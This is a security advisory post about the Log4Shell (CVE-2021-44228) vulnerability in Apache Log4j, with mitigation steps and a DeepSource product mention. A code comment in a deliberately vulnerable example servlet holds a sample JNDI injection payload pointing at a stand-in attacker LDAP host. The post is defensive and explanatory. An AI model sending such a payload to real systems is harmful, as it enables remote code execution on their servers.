Log4Shell: Apache Log4j Vulnerability

DeepSourceJanuary 2nd, 2022Last Updated: December 15th, 2021

1 251 2 minutes read

Apache Log4j is a popular logging library used across the JVM ecosystem. On Dec 10 2021, a high severity vulnerability was disclosed, dubbed Log4Shell. If you are using a version of Log4j between 2.0 and 2.15.0, an RCE (Remote Code Execution) attack is possible. An attacker can perform a malicious Java Naming and Directory Interface (JNDI) object lookup to chain other exploits if your code logs request data, such as a user agent header, using a vulnerable Log4j version.

Here is an example of this issue using a servlet:

@WebServlet(value="/some/path", name="vulnerableServlet")
public class VulnerableServlet extends HttpServlet {
    private static final Logger logger = LogManager.getLogger(
        VulnerableServlet.class.getName()
    );

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException {
        String userAgent = req.getHeader("user-agent");
        // will trigger an RCE exploit if the user agent contains a JNDI scheme url.
        // Here, the target is a malicious LDAP server.
        // For example: ${jndi:ldap://attacker.com/a}
        logger.info("Request user agent is " + userAgent);
    }
}

How you can fix Log4Shell

Upgrade to log4j ~~2.15.0~~ 2.16.0. Log4j’s latest version, 2.16.0 fixes this issue. This is a permanent fix. However, if you’re unable to do this for some reason, there are other measures you can take.
- EDIT Log4j’s version 2.15.0 was found to still be vulnerable to attacks in certain contexts. While the mitigation of removing the JndiLookup class from your application will still prevent the exploit, it is recommended that 2.16.0 be used going forward. Log4j release 2.16.0 completely disables the use of lookup strings and JNDI functionality itself.
Remove the JndiLookup class from your application’s classpath. This vulnerability exploits log4j’s ability to parse JNDI lookup urls interpolated in logged strings. If the JndiLookup class is removed, the worst that can happen is an exception thrown when a malicious input is logged. This can be done by deleting the JndiLookup.class file from your copy of the log4j core JAR file.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Note that this may need to be applied for every release of your application if you make use of fat jars in your deployment. It may be better to upgrade your log4j version in such cases.

Set the log4j2.formatMsgNoLookups property or com.sun.jndi.rmi.object.trustURLCodebase and other associated properties to true. Depending on the version of log4j used (>= 2.10), you may be able to set the log4j2.formatMsgNoLookups property or the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true to mitigate this issue. This is inadvisable in the long run; upgrading your log4j dependency is recommended.

It is also recommended to set the following properties to false (this is not an exhaustive list):

com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase
com.sun.jndi.ldap.object.trustURLCodebase

These properties are set to false by default in Java versions above 11.0.1, as well as in minor versions 6u211, 7u201, 8u191 and above. It is not a good idea to rely on this, as there may be cases where they are set to true manually, which would make this vulnerability exploitable again.

Remediating Log4Shell with DeepSource

We’ve added a new issue, JAVA-A0122, in our Java analyzer to detect if your code base is possibly impacted by Log4Shell. As a proactive measure, we have triggered analysis on all Java repositories that have DeepSource activated. If your code requires changes due to Log4Shell, you should see this issue in the Issues tab of your repository dashboard.

If you’re not a DeepSource user yet, get started by creating a free account and analyzing your Java repository.

References

Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package
CVE-2021-44228 – Log4j 2 Vulnerability Analysis
Apache Log4j project – Security vulnerabilities

Published on Java Code Geeks with permission by deepsource, partner at our JCG program. See the original article here: Log4Shell: Apache Log4j Vulnerability

Opinions expressed by Java Code Geeks contributors are their own.